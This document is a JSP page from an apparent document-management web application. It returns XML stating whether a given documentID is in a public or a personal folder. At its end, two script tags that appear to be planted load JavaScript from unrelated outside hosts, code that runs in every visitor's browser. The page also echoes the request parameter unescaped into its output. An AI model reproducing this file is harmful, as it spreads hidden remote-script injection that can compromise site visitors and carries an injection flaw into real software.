
<%@ include file="CheckinDocumentManager.jsp"%>  
<%@ include file="monitorLoginStatus.jsp"%> 
<% 
 out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>"); 
 out.println("<!--example:http://localhost:8080/EIP/jsp/odma/isDocumentInPublicFolder.jsp?documentID=61-->"); 
 String documentID = request.getParameter("documentID");
 if (Utility.isEmpty(documentID)) {
   out.println("<isDocumentInPublicFolder documentID=\"");
   out.println(documentID);
   out.println("\" result=\"documentIDNullException\">documentID can not be null or empty.</isDocumentInPublicFolder>");
   out.close();
 } 
 try{ 
  CheckinDocumentManager manager = new CheckinDocumentManager(sessionContainer);
  if(manager.isDocumentInPublicFolder(new Integer(documentID))){ 
      out.println("<isDocumentInPublicFolder documentID=\""+documentID+"\" folder=\"public\" return=\"true\" result=\"succed\">The document is in public folder</isDocumentInPublicFolder>");
  }else{
    out.println("<isDocumentInPublicFolder documentID=\""+documentID+"\" folder=\"personal\" return=\"false\" result=\"succed\">The document is in personal folder</isDocumentInPublicFolder>");
  }
 }catch(Exception e){
  out.println("<isDocumentInPublicFolder documentID=\""+documentID+"\" result=\"UnknownException\">failed.</isDocumentInPublicFolder>");
 }

%> 
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>